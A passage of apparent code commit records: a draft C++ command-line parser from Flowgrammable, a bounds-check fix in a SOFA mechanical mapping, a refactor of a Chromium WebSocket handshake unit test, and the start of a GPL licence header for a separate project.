(c) 2013-2014 Flowgrammable.org\n\/\/ \n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at:\n\/\/ \n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/ \n\/\/ Unless required by applicable law or agreed to in writing,\n\/\/ software distributed under the License is distributed on an \"AS IS\"\n\/\/ BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express\n\/\/ or implied. See the License for the specific language governing\n\/\/ permissions and limitations under the License.\n\n#include <iostream>\n#include <fstream>\n#include <iterator>\n#include <string>\n\n#include <freeflow\/sys\/socket.hpp>\n#include <freeflow\/sys\/json.hpp>\n\nusing namespace std;\nusing namespace freeflow;\n\n\n\/\/ Holds a command-line flag. The flag is set when --flag_true is passed, and\n\/\/ reset when --flag_false is passed. When used in CommandParser, the name\n\/\/ and value act as a key-value pair. Upon construction, value will be set to\n\/\/ the default value of the flag.\n\/\/\n\/\/ Example usage:\n\/\/\n\/\/ Flag(\"auto connect\",\"auto-connect\",\"no-auto-connect\",true, \"Whether to\n\/\/ automatically connect to the network\");\n\/\/\n\/\/ If the user typed \"run --auto-connect\", value for \"auto connect\" would\n\/\/ be true, whereas is they typed \"run --no-auto-connect\", it would be false\nstruct Flag {\n string name;\n string flag_true;\n string flag_false;\n bool value;\n string help_text;\n \n Flag(string n,string f_true,string f_false,bool default_val,string help = \"\") :\n name(n), flag_true(f_true), flag_false(f_false), value(default_val),\n help_text(help){}\n};\n\n\n\nint main(){\n return 0;\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<commit_msg>Added pattern matching functionality and initial framework for parsing command-line arguments<commit_after>\/\/ Copyright (c) 2013-2014 Flowgrammable.org\n\/\/ \n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at:\n\/\/ \n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/ \n\/\/ Unless required by applicable law or agreed to in writing,\n\/\/ software distributed under the License is distributed on an \"AS IS\"\n\/\/ BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express\n\/\/ or implied. See the License for the specific language governing\n\/\/ permissions and limitations under the License.\n\n#include <iostream>\n#include <fstream>\n#include <iterator>\n#include <string>\n#include <vector>\n#include <assert.h>\n\n#include <freeflow\/sys\/socket.hpp>\n#include <freeflow\/sys\/json.hpp>\n\nusing namespace std;\nusing namespace freeflow;\n\nstruct CLI_parser_exception {\n CLI_parser_exception(string err);\n};\n\nCLI_parser_exception::CLI_parser_exception(string err) {\n cout << \"CLI parser exception: \" << err << endl;\n}\n\nstruct CLI_parser_rule {\n string format;\n \n bool match(string & str,vector<pair<string,string> > args);\n \n CLI_parser_rule(string rule);\n};\n\nCLI_parser_rule::CLI_parser_rule(string rule) : format(rule) {\n \/\/ Make sure all square brackets are closed\n bool in_bracket = false;\n \n for (char c : format) {\n if (c == '[') {\n if (not in_bracket) {\n in_bracket = true;\n }\n else {\n throw CLI_parser_exception(\"Too many opening square brackets ('[')\"\n \" in parser rule: \" + format);\n }\n } else if (c == ']') {\n if (in_bracket) {\n in_bracket = false;\n }\n else {\n throw CLI_parser_exception(\"Too many closing square brackets (']')\"\n \" in parser rule: \" + format);\n }\n }\n }\n \n if (in_bracket){\n throw CLI_parser_exception(\"Expected closing square bracket (']')\"\n \" in parser rule: \" + format);\n }\n}\n\nbool CLI_parser_rule::match(string & str,vector<pair<string,string> > args) {\n int pos_f = 0;\n int pos_s = 0;\n string name;\n string var_value;\n bool var = false;\n \n \n while (pos_s < (int)str.length()) {\n if (!var) {\n if (format[pos_f] == '[') {\n pos_f++;\n name = \"\";\n var_value = \"\";\n var = true;\n \n bool matched = false;\n \n while (pos_f < (int)format.length()) {\n if (format[pos_f] == ']') {\n matched = true;\n pos_f++;\n break;\n }\n else{\n name += format[pos_f++];\n }\n }\n \n if (!matched) {\n throw \"CLI_parser_rule Error: unmatched bracket in rule \"+format;\n }\n \n cout << \"Next: \" << format[pos_f] << endl;\n \n \/\/pos_f++;\n }\n }\n \n if (var) {\n \/\/if(pos_f+1 < format.length()){\n if (str[pos_s] == format[pos_f]) {\n var = false;\n cout << \"Var \" << name << \" = \" << var_value << endl;\n args.push_back(pair<string,string>(name,var_value));\n }\n else {\n var_value += str[pos_s++];\n }\n \/\/}\n }\n else {\n if (format[pos_f] != str[pos_s]) {\n return false;\n }\n \n pos_f++;\n pos_s++;\n }\n }\n \n if (var){\n cout << \"Var \" << name << \" = \" << var_value << endl;\n args.push_back(pair<string,string>(name,var_value));\n }\n \n if (pos_f < (int)format.length()) return false;\n else return true;\n}\n\n\n\nstruct CLI_parser {\n vector<CLI_parser_rule> rules;\n vector<string> args;\n int arg_pos;\n \n void parse(int argc,char *argv[]);\n string & get_arg();\n bool next_arg();\n void set_arg_pos(int pos);\n \n};\n\nvoid CLI_parser::parse(int argc,char *argv[]) {\n \/\/ Probably a good idea to clear the args vector if this is called more than once\n args.clear();\n \n for (int i = 0; i < argc; i++) {\n args.push_back(argv[i]);\n }\n \n set_arg_pos(0);\n}\n\n\/\/ Gets the current argument\nstring & CLI_parser::get_arg() {\n assert(arg_pos < (int)args.size());\n \n return args[arg_pos];\n}\n\n\/\/ Advances to the next argument\n\/\/ Returns whether there is another argument\nbool CLI_parser::next_arg() {\n return ++arg_pos < (int)args.size();\n}\n\n\/\/ Sets the position of the current argument\nvoid CLI_parser::set_arg_pos(int pos) {\n if (pos < (int)args.size())\n arg_pos = pos;\n else\n arg_pos = args.size();\n}\n\n\nint main(int argc,char *argv[]){\n CLI_parser parser;\n \n CLI_parser_rule(\"--[flag]=[value\");\n \n parser.parse(argc,argv);\n \n do{\n cout << parser.get_arg() << endl;\n } while(parser.next_arg());\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n* SOFA, Simulation Open-Framework Architecture, version 1.0 beta 3 *\n* (c) 2006-2008 MGH, INRIA, USTL, UJF, CNRS *\n* *\n* This library is free software; you can redistribute it and\/or modify it *\n* under the terms of the GNU Lesser General Public License as published by *\n* the Free Software Foundation; either version 2.1 of the License, or (at *\n* your option) any later version. *\n* *\n* This library is distributed in the hope that it will be useful, but WITHOUT *\n* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or *\n* FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License *\n* for more details. *\n* *\n* You should have received a copy of the GNU Lesser General Public License *\n* along with this library; if not, write to the Free Software Foundation, *\n* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. *\n*******************************************************************************\n* SOFA :: Modules *\n* *\n* Authors: The SOFA Team and external contributors (see Authors.txt) *\n* *\n* Contact information: contact@sofa-framework.org *\n******************************************************************************\/\n#ifndef SOFA_COMPONENT_MAPPING_CENTERPOINTMAPPING_INL\n#define SOFA_COMPONENT_MAPPING_CENTERPOINTMAPPING_INL\n\n#include \"CenterPointMechanicalMapping.h\"\n#include <sofa\/core\/componentmodel\/topology\/BaseMeshTopology.h>\n\n\nnamespace sofa\n{\n\nnamespace component\n{\n\nnamespace mapping\n{\n\n\ntemplate <class BaseMapping>\nCenterPointMechanicalMapping<BaseMapping>::CenterPointMechanicalMapping(In* from, Out* to)\n : Inherit(from, to)\n , inputTopo(NULL)\n , outputTopo(NULL)\n{\n}\n\ntemplate <class BaseMapping>\nCenterPointMechanicalMapping<BaseMapping>::~CenterPointMechanicalMapping()\n{\n}\n\ntemplate <class BaseMapping>\nvoid CenterPointMechanicalMapping<BaseMapping>::init()\n{\n inputTopo = this->fromModel->getContext()->getMeshTopology();\n outputTopo = this->toModel->getContext()->getMeshTopology();\n this->Inherit::init();\n}\n\ntemplate <class BaseMapping>\nvoid CenterPointMechanicalMapping<BaseMapping>::apply( typename Out::VecCoord& out, const typename In::VecCoord& in )\n{\n const core::componentmodel::topology::BaseMeshTopology::SeqHexas& hexas = inputTopo->getHexas();\n\n if(out.size() < hexas.size())\n out.resize(hexas.size());\n\n for(unsigned int i = 0; i < hexas.size(); ++i)\n {\n out[i] =(in[ hexas[i][0] ]\n + in[ hexas[i][1] ]\n + in[ hexas[i][2] ]\n + in[ hexas[i][3] ]\n + in[ hexas[i][4] ]\n + in[ hexas[i][5] ]\n + in[ hexas[i][6] ]\n + in[ hexas[i][7] ]) * 0.125f;\n }\n}\n\ntemplate <class BaseMapping>\nvoid CenterPointMechanicalMapping<BaseMapping>::applyJ( typename Out::VecDeriv& out, const typename In::VecDeriv& in )\n{\n const core::componentmodel::topology::BaseMeshTopology::SeqHexas& hexas = inputTopo->getHexas();\n\n if(out.size() < hexas.size())\n out.resize(hexas.size());\n\n for(unsigned int i = 0; i < hexas.size(); ++i)\n {\n out[i] =(in[ hexas[i][0] ]\n + in[ hexas[i][1] ]\n + in[ hexas[i][2] ]\n + in[ hexas[i][3] ]\n + in[ hexas[i][4] ]\n + in[ hexas[i][5] ]\n + in[ hexas[i][6] ]\n + in[ hexas[i][7] ]) * 0.125f;\n }\n}\n\ntemplate <class BaseMapping>\nvoid CenterPointMechanicalMapping<BaseMapping>::applyJT( typename In::VecDeriv& out, const typename Out::VecDeriv& in )\n{\n const core::componentmodel::topology::BaseMeshTopology::SeqHexas& hexas = inputTopo->getHexas();\n\n for(unsigned int i = 0; i <hexas.size(); ++i)\n {\n typename Out::Deriv val = in[i] * 0.125f;\n\n out[ hexas[i][0] ] += val;\n out[ hexas[i][1] ] += val;\n out[ hexas[i][2] ] += val;\n out[ hexas[i][3] ] += val;\n out[ hexas[i][4] ] += val;\n out[ hexas[i][5] ] += val;\n out[ hexas[i][6] ] += val;\n out[ hexas[i][7] ] += val;\n }\n}\n\ntemplate <class BaseMapping>\nvoid CenterPointMechanicalMapping<BaseMapping>::applyJT( typename In::VecConst& \/*out*\/, const typename Out::VecConst& \/*in*\/ )\n{\n \/\/ TODO\n\n return;\n}\n\n} \/\/ namespace mapping\n\n} \/\/ namespace component\n\n} \/\/ namespace sofa\n\n#endif\n<commit_msg>r3533\/sofa-dev : FIX: not well understood bug with certain topologies<commit_after>\/******************************************************************************\n* SOFA, Simulation Open-Framework Architecture, version 1.0 beta 3 *\n* (c) 2006-2008 MGH, INRIA, USTL, UJF, CNRS *\n* *\n* This library is free software; you can redistribute it and\/or modify it *\n* under the terms of the GNU Lesser General Public License as published by *\n* the Free Software Foundation; either version 2.1 of the License, or (at *\n* your option) any later version. *\n* *\n* This library is distributed in the hope that it will be useful, but WITHOUT *\n* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or *\n* FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License *\n* for more details. *\n* *\n* You should have received a copy of the GNU Lesser General Public License *\n* along with this library; if not, write to the Free Software Foundation, *\n* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. *\n*******************************************************************************\n* SOFA :: Modules *\n* *\n* Authors: The SOFA Team and external contributors (see Authors.txt) *\n* *\n* Contact information: contact@sofa-framework.org *\n******************************************************************************\/\n#ifndef SOFA_COMPONENT_MAPPING_CENTERPOINTMAPPING_INL\n#define SOFA_COMPONENT_MAPPING_CENTERPOINTMAPPING_INL\n\n#include \"CenterPointMechanicalMapping.h\"\n#include <sofa\/core\/componentmodel\/topology\/BaseMeshTopology.h>\n\n\nnamespace sofa\n{\n\nnamespace component\n{\n\nnamespace mapping\n{\n\n\ntemplate <class BaseMapping>\nCenterPointMechanicalMapping<BaseMapping>::CenterPointMechanicalMapping(In* from, Out* to)\n : Inherit(from, to)\n , inputTopo(NULL)\n , outputTopo(NULL)\n{\n}\n\ntemplate <class BaseMapping>\nCenterPointMechanicalMapping<BaseMapping>::~CenterPointMechanicalMapping()\n{\n}\n\ntemplate <class BaseMapping>\nvoid CenterPointMechanicalMapping<BaseMapping>::init()\n{\n inputTopo = this->fromModel->getContext()->getMeshTopology();\n outputTopo = this->toModel->getContext()->getMeshTopology();\n this->Inherit::init();\n}\n\ntemplate <class BaseMapping>\nvoid CenterPointMechanicalMapping<BaseMapping>::apply( typename Out::VecCoord& out, const typename In::VecCoord& in )\n{\n const core::componentmodel::topology::BaseMeshTopology::SeqHexas& hexas = inputTopo->getHexas();\n\n if(out.size() < hexas.size())\n out.resize(hexas.size());\n\n for(unsigned int i = 0; i < hexas.size(); ++i)\n {\n out[i] =(in[ hexas[i][0] ]\n + in[ hexas[i][1] ]\n + in[ hexas[i][2] ]\n + in[ hexas[i][3] ]\n + in[ hexas[i][4] ]\n + in[ hexas[i][5] ]\n + in[ hexas[i][6] ]\n + in[ hexas[i][7] ]) * 0.125f;\n }\n}\n\ntemplate <class BaseMapping>\nvoid CenterPointMechanicalMapping<BaseMapping>::applyJ( typename Out::VecDeriv& out, const typename In::VecDeriv& in )\n{\n const core::componentmodel::topology::BaseMeshTopology::SeqHexas& hexas = inputTopo->getHexas();\n\n if(out.size() < hexas.size())\n out.resize(hexas.size());\n\n for(unsigned int i = 0; i < hexas.size(); ++i)\n {\n out[i] =(in[ hexas[i][0] ]\n + in[ hexas[i][1] ]\n + in[ hexas[i][2] ]\n + in[ hexas[i][3] ]\n + in[ hexas[i][4] ]\n + in[ hexas[i][5] ]\n + in[ hexas[i][6] ]\n + in[ hexas[i][7] ]) * 0.125f;\n }\n}\n\ntemplate <class BaseMapping>\nvoid CenterPointMechanicalMapping<BaseMapping>::applyJT( typename In::VecDeriv& out, const typename Out::VecDeriv& in )\n{\n const core::componentmodel::topology::BaseMeshTopology::SeqHexas& hexas = inputTopo->getHexas();\n\n for(unsigned int i = 0; i <hexas.size(); ++i)\n {\n if( in.size() <= i ) continue;\n\n typename Out::Deriv val = in[i] * 0.125f;\n\n out[ hexas[i][0] ] += val;\n out[ hexas[i][1] ] += val;\n out[ hexas[i][2] ] += val;\n out[ hexas[i][3] ] += val;\n out[ hexas[i][4] ] += val;\n out[ hexas[i][5] ] += val;\n out[ hexas[i][6] ] += val;\n out[ hexas[i][7] ] += val;\n }\n}\n\ntemplate <class BaseMapping>\nvoid CenterPointMechanicalMapping<BaseMapping>::applyJT( typename In::VecConst& \/*out*\/, const typename Out::VecConst& \/*in*\/ )\n{\n \/\/ TODO\n\n return;\n}\n\n} \/\/ namespace mapping\n\n} \/\/ namespace component\n\n} \/\/ namespace sofa\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"net\/websockets\/websocket_handshake_stream_create_helper.h\"\n\n#include <string>\n#include <vector>\n\n#include \"net\/base\/completion_callback.h\"\n#include \"net\/base\/net_errors.h\"\n#include \"net\/http\/http_request_headers.h\"\n#include \"net\/http\/http_request_info.h\"\n#include \"net\/http\/http_response_headers.h\"\n#include \"net\/http\/http_response_info.h\"\n#include \"net\/socket\/client_socket_handle.h\"\n#include \"net\/socket\/socket_test_util.h\"\n#include \"net\/websockets\/websocket_basic_handshake_stream.h\"\n#include \"net\/websockets\/websocket_stream.h\"\n#include \"net\/websockets\/websocket_test_util.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n#include \"url\/gurl.h\"\n#include \"url\/origin.h\"\n\nnamespace net {\nnamespace {\n\n\/\/ This class encapsulates the details of creating a mock ClientSocketHandle.\nclass MockClientSocketHandleFactory {\n public:\n MockClientSocketHandleFactory()\n : pool_(1, 1, socket_factory_maker_.factory()) {}\n\n \/\/ The created socket expects |expect_written| to be written to the socket,\n \/\/ and will respond with |return_to_read|. The test will fail if the expected\n \/\/ text is not written, or if all the bytes are not read.\n scoped_ptr<ClientSocketHandle> CreateClientSocketHandle(\n const std::string& expect_written,\n const std::string& return_to_read) {\n socket_factory_maker_.SetExpectations(expect_written, return_to_read);\n scoped_ptr<ClientSocketHandle> socket_handle(new ClientSocketHandle);\n socket_handle->Init(\n \"a\",\n scoped_refptr<MockTransportSocketParams>(),\n MEDIUM,\n CompletionCallback(),\n &pool_,\n BoundNetLog());\n return socket_handle.Pass();\n }\n\n private:\n WebSocketMockClientSocketFactoryMaker socket_factory_maker_;\n MockTransportClientSocketPool pool_;\n\n DISALLOW_COPY_AND_ASSIGN(MockClientSocketHandleFactory);\n};\n\nclass TestConnectDelegate : public WebSocketStream::ConnectDelegate {\n public:\n ~TestConnectDelegate() override {}\n\n void OnSuccess(scoped_ptr<WebSocketStream> stream) override {}\n void OnFailure(const std::string& failure_message) override {}\n void OnStartOpeningHandshake(\n scoped_ptr<WebSocketHandshakeRequestInfo> request) override {}\n void OnFinishOpeningHandshake(\n scoped_ptr<WebSocketHandshakeResponseInfo> response) override {}\n void OnSSLCertificateError(\n scoped_ptr<WebSocketEventInterface::SSLErrorCallbacks>\n ssl_error_callbacks,\n const SSLInfo& ssl_info,\n bool fatal) override {}\n};\n\nclass WebSocketHandshakeStreamCreateHelperTest : public ::testing::Test {\n protected:\n scoped_ptr<WebSocketStream> CreateAndInitializeStream(\n const std::string& socket_url,\n const std::string& socket_host,\n const std::string& socket_path,\n const std::vector<std::string>& sub_protocols,\n const std::string& origin,\n const std::string& extra_request_headers,\n const std::string& extra_response_headers) {\n WebSocketHandshakeStreamCreateHelper create_helper(&connect_delegate_,\n sub_protocols);\n create_helper.set_failure_message(&failure_message_);\n\n scoped_ptr<ClientSocketHandle> socket_handle =\n socket_handle_factory_.CreateClientSocketHandle(\n WebSocketStandardRequest(socket_path, socket_host,\n url::Origin(GURL(origin)),\n extra_request_headers),\n WebSocketStandardResponse(extra_response_headers));\n\n scoped_ptr<WebSocketHandshakeStreamBase> handshake(\n create_helper.CreateBasicStream(socket_handle.Pass(), false));\n\n \/\/ If in future the implementation type returned by CreateBasicStream()\n \/\/ changes, this static_cast will be wrong. However, in that case the test\n \/\/ will fail and AddressSanitizer should identify the issue.\n static_cast<WebSocketBasicHandshakeStream*>(handshake.get())\n ->SetWebSocketKeyForTesting(\"dGhlIHNhbXBsZSBub25jZQ==\");\n\n HttpRequestInfo request_info;\n request_info.url = GURL(socket_url);\n request_info.method = \"GET\";\n request_info.load_flags = LOAD_DISABLE_CACHE;\n int rv = handshake->InitializeStream(\n &request_info, DEFAULT_PRIORITY, BoundNetLog(), CompletionCallback());\n EXPECT_EQ(OK, rv);\n\n HttpRequestHeaders headers;\n headers.SetHeader(\"Host\", \"localhost\");\n headers.SetHeader(\"Connection\", \"Upgrade\");\n headers.SetHeader(\"Pragma\", \"no-cache\");\n headers.SetHeader(\"Cache-Control\", \"no-cache\");\n headers.SetHeader(\"Upgrade\", \"websocket\");\n headers.SetHeader(\"Origin\", origin);\n headers.SetHeader(\"Sec-WebSocket-Version\", \"13\");\n headers.SetHeader(\"User-Agent\", \"\");\n headers.SetHeader(\"Accept-Encoding\", \"gzip, deflate\");\n headers.SetHeader(\"Accept-Language\", \"en-us,fr\");\n\n HttpResponseInfo response;\n TestCompletionCallback dummy;\n\n rv = handshake->SendRequest(headers, &response, dummy.callback());\n\n EXPECT_EQ(OK, rv);\n\n rv = handshake->ReadResponseHeaders(dummy.callback());\n EXPECT_EQ(OK, rv);\n EXPECT_EQ(101, response.headers->response_code());\n EXPECT_TRUE(response.headers->HasHeaderValue(\"Connection\", \"Upgrade\"));\n EXPECT_TRUE(response.headers->HasHeaderValue(\"Upgrade\", \"websocket\"));\n return handshake->Upgrade();\n }\n\n MockClientSocketHandleFactory socket_handle_factory_;\n TestConnectDelegate connect_delegate_;\n std::string failure_message_;\n};\n\n\/\/ Confirm that the basic case works as expected.\nTEST_F(WebSocketHandshakeStreamCreateHelperTest, BasicStream) {\n scoped_ptr<WebSocketStream> stream = CreateAndInitializeStream(\n \"ws:\/\/localhost\/\", \"localhost\", \"\/\", std::vector<std::string>(),\n \"http:\/\/localhost\", \"\", \"\");\n EXPECT_EQ(\"\", stream->GetExtensions());\n EXPECT_EQ(\"\", stream->GetSubProtocol());\n}\n\n\/\/ Verify that the sub-protocols are passed through.\nTEST_F(WebSocketHandshakeStreamCreateHelperTest, SubProtocols) {\n std::vector<std::string> sub_protocols;\n sub_protocols.push_back(\"chat\");\n sub_protocols.push_back(\"superchat\");\n scoped_ptr<WebSocketStream> stream = CreateAndInitializeStream(\n \"ws:\/\/localhost\/\", \"localhost\", \"\/\", sub_protocols, \"http:\/\/localhost\",\n \"Sec-WebSocket-Protocol: chat, superchat\\r\\n\",\n \"Sec-WebSocket-Protocol: superchat\\r\\n\");\n EXPECT_EQ(\"superchat\", stream->GetSubProtocol());\n}\n\n\/\/ Verify that extension name is available. Bad extension names are tested in\n\/\/ websocket_stream_test.cc.\nTEST_F(WebSocketHandshakeStreamCreateHelperTest, Extensions) {\n scoped_ptr<WebSocketStream> stream = CreateAndInitializeStream(\n \"ws:\/\/localhost\/\", \"localhost\", \"\/\", std::vector<std::string>(),\n \"http:\/\/localhost\", \"\",\n \"Sec-WebSocket-Extensions: permessage-deflate\\r\\n\");\n EXPECT_EQ(\"permessage-deflate\", stream->GetExtensions());\n}\n\n\/\/ Verify that extension parameters are available. Bad parameters are tested in\n\/\/ websocket_stream_test.cc.\nTEST_F(WebSocketHandshakeStreamCreateHelperTest, ExtensionParameters) {\n scoped_ptr<WebSocketStream> stream = CreateAndInitializeStream(\n \"ws:\/\/localhost\/\", \"localhost\", \"\/\", std::vector<std::string>(),\n \"http:\/\/localhost\", \"\",\n \"Sec-WebSocket-Extensions: permessage-deflate;\"\n \" client_max_window_bits=14; server_max_window_bits=14;\"\n \" server_no_context_takeover; client_no_context_takeover\\r\\n\");\n\n EXPECT_EQ(\n \"permessage-deflate;\"\n \" client_max_window_bits=14; server_max_window_bits=14;\"\n \" server_no_context_takeover; client_no_context_takeover\",\n stream->GetExtensions());\n}\n\n} \/\/ namespace\n} \/\/ namespace net\n<commit_msg>Remove unused params in WebSocketHandshakeStreamCreateHelperTest<commit_after>\/\/ Copyright 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"net\/websockets\/websocket_handshake_stream_create_helper.h\"\n\n#include <string>\n#include <vector>\n\n#include \"net\/base\/completion_callback.h\"\n#include \"net\/base\/net_errors.h\"\n#include \"net\/http\/http_request_headers.h\"\n#include \"net\/http\/http_request_info.h\"\n#include \"net\/http\/http_response_headers.h\"\n#include \"net\/http\/http_response_info.h\"\n#include \"net\/socket\/client_socket_handle.h\"\n#include \"net\/socket\/socket_test_util.h\"\n#include \"net\/websockets\/websocket_basic_handshake_stream.h\"\n#include \"net\/websockets\/websocket_stream.h\"\n#include \"net\/websockets\/websocket_test_util.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n#include \"url\/gurl.h\"\n#include \"url\/origin.h\"\n\nnamespace net {\nnamespace {\n\n\/\/ This class encapsulates the details of creating a mock ClientSocketHandle.\nclass MockClientSocketHandleFactory {\n public:\n MockClientSocketHandleFactory()\n : pool_(1, 1, socket_factory_maker_.factory()) {}\n\n \/\/ The created socket expects |expect_written| to be written to the socket,\n \/\/ and will respond with |return_to_read|. The test will fail if the expected\n \/\/ text is not written, or if all the bytes are not read.\n scoped_ptr<ClientSocketHandle> CreateClientSocketHandle(\n const std::string& expect_written,\n const std::string& return_to_read) {\n socket_factory_maker_.SetExpectations(expect_written, return_to_read);\n scoped_ptr<ClientSocketHandle> socket_handle(new ClientSocketHandle);\n socket_handle->Init(\n \"a\",\n scoped_refptr<MockTransportSocketParams>(),\n MEDIUM,\n CompletionCallback(),\n &pool_,\n BoundNetLog());\n return socket_handle.Pass();\n }\n\n private:\n WebSocketMockClientSocketFactoryMaker socket_factory_maker_;\n MockTransportClientSocketPool pool_;\n\n DISALLOW_COPY_AND_ASSIGN(MockClientSocketHandleFactory);\n};\n\nclass TestConnectDelegate : public WebSocketStream::ConnectDelegate {\n public:\n ~TestConnectDelegate() override {}\n\n void OnSuccess(scoped_ptr<WebSocketStream> stream) override {}\n void OnFailure(const std::string& failure_message) override {}\n void OnStartOpeningHandshake(\n scoped_ptr<WebSocketHandshakeRequestInfo> request) override {}\n void OnFinishOpeningHandshake(\n scoped_ptr<WebSocketHandshakeResponseInfo> response) override {}\n void OnSSLCertificateError(\n scoped_ptr<WebSocketEventInterface::SSLErrorCallbacks>\n ssl_error_callbacks,\n const SSLInfo& ssl_info,\n bool fatal) override {}\n};\n\nclass WebSocketHandshakeStreamCreateHelperTest : public ::testing::Test {\n protected:\n scoped_ptr<WebSocketStream> CreateAndInitializeStream(\n const std::vector<std::string>& sub_protocols,\n const std::string& extra_request_headers,\n const std::string& extra_response_headers) {\n static const char kOrigin[] = \"http:\/\/localhost\";\n WebSocketHandshakeStreamCreateHelper create_helper(&connect_delegate_,\n sub_protocols);\n create_helper.set_failure_message(&failure_message_);\n\n scoped_ptr<ClientSocketHandle> socket_handle =\n socket_handle_factory_.CreateClientSocketHandle(\n WebSocketStandardRequest(\"\/\", \"localhost\",\n url::Origin(GURL(kOrigin)),\n extra_request_headers),\n WebSocketStandardResponse(extra_response_headers));\n\n scoped_ptr<WebSocketHandshakeStreamBase> handshake(\n create_helper.CreateBasicStream(socket_handle.Pass(), false));\n\n \/\/ If in future the implementation type returned by CreateBasicStream()\n \/\/ changes, this static_cast will be wrong. However, in that case the test\n \/\/ will fail and AddressSanitizer should identify the issue.\n static_cast<WebSocketBasicHandshakeStream*>(handshake.get())\n ->SetWebSocketKeyForTesting(\"dGhlIHNhbXBsZSBub25jZQ==\");\n\n HttpRequestInfo request_info;\n request_info.url = GURL(\"ws:\/\/localhost\/\");\n request_info.method = \"GET\";\n request_info.load_flags = LOAD_DISABLE_CACHE;\n int rv = handshake->InitializeStream(\n &request_info, DEFAULT_PRIORITY, BoundNetLog(), CompletionCallback());\n EXPECT_EQ(OK, rv);\n\n HttpRequestHeaders headers;\n headers.SetHeader(\"Host\", \"localhost\");\n headers.SetHeader(\"Connection\", \"Upgrade\");\n headers.SetHeader(\"Pragma\", \"no-cache\");\n headers.SetHeader(\"Cache-Control\", \"no-cache\");\n headers.SetHeader(\"Upgrade\", \"websocket\");\n headers.SetHeader(\"Origin\", kOrigin);\n headers.SetHeader(\"Sec-WebSocket-Version\", \"13\");\n headers.SetHeader(\"User-Agent\", \"\");\n headers.SetHeader(\"Accept-Encoding\", \"gzip, deflate\");\n headers.SetHeader(\"Accept-Language\", \"en-us,fr\");\n\n HttpResponseInfo response;\n TestCompletionCallback dummy;\n\n rv = handshake->SendRequest(headers, &response, dummy.callback());\n\n EXPECT_EQ(OK, rv);\n\n rv = handshake->ReadResponseHeaders(dummy.callback());\n EXPECT_EQ(OK, rv);\n EXPECT_EQ(101, response.headers->response_code());\n EXPECT_TRUE(response.headers->HasHeaderValue(\"Connection\", \"Upgrade\"));\n EXPECT_TRUE(response.headers->HasHeaderValue(\"Upgrade\", \"websocket\"));\n return handshake->Upgrade();\n }\n\n MockClientSocketHandleFactory socket_handle_factory_;\n TestConnectDelegate connect_delegate_;\n std::string failure_message_;\n};\n\n\/\/ Confirm that the basic case works as expected.\nTEST_F(WebSocketHandshakeStreamCreateHelperTest, BasicStream) {\n scoped_ptr<WebSocketStream> stream =\n CreateAndInitializeStream(std::vector<std::string>(), \"\", \"\");\n EXPECT_EQ(\"\", stream->GetExtensions());\n EXPECT_EQ(\"\", stream->GetSubProtocol());\n}\n\n\/\/ Verify that the sub-protocols are passed through.\nTEST_F(WebSocketHandshakeStreamCreateHelperTest, SubProtocols) {\n std::vector<std::string> sub_protocols;\n sub_protocols.push_back(\"chat\");\n sub_protocols.push_back(\"superchat\");\n scoped_ptr<WebSocketStream> stream = CreateAndInitializeStream(\n sub_protocols, \"Sec-WebSocket-Protocol: chat, superchat\\r\\n\",\n \"Sec-WebSocket-Protocol: superchat\\r\\n\");\n EXPECT_EQ(\"superchat\", stream->GetSubProtocol());\n}\n\n\/\/ Verify that extension name is available. Bad extension names are tested in\n\/\/ websocket_stream_test.cc.\nTEST_F(WebSocketHandshakeStreamCreateHelperTest, Extensions) {\n scoped_ptr<WebSocketStream> stream = CreateAndInitializeStream(\n std::vector<std::string>(), \"\",\n \"Sec-WebSocket-Extensions: permessage-deflate\\r\\n\");\n EXPECT_EQ(\"permessage-deflate\", stream->GetExtensions());\n}\n\n\/\/ Verify that extension parameters are available. Bad parameters are tested in\n\/\/ websocket_stream_test.cc.\nTEST_F(WebSocketHandshakeStreamCreateHelperTest, ExtensionParameters) {\n scoped_ptr<WebSocketStream> stream = CreateAndInitializeStream(\n std::vector<std::string>(), \"\",\n \"Sec-WebSocket-Extensions: permessage-deflate;\"\n \" client_max_window_bits=14; server_max_window_bits=14;\"\n \" server_no_context_takeover; client_no_context_takeover\\r\\n\");\n\n EXPECT_EQ(\n \"permessage-deflate;\"\n \" client_max_window_bits=14; server_max_window_bits=14;\"\n \" server_no_context_takeover; client_no_context_takeover\",\n stream->GetExtensions());\n}\n\n} \/\/ namespace\n} \/\/ namespace net\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright 2014 Team WALL-E\n\/\/\n\/\/ This program is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU General Public License as published by\n\/\/ the Free Software Foundation, either version 3 of the License, or\n\/\/ (at your option) any later version.\n\/\/\n\/\/ This program is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU General Public 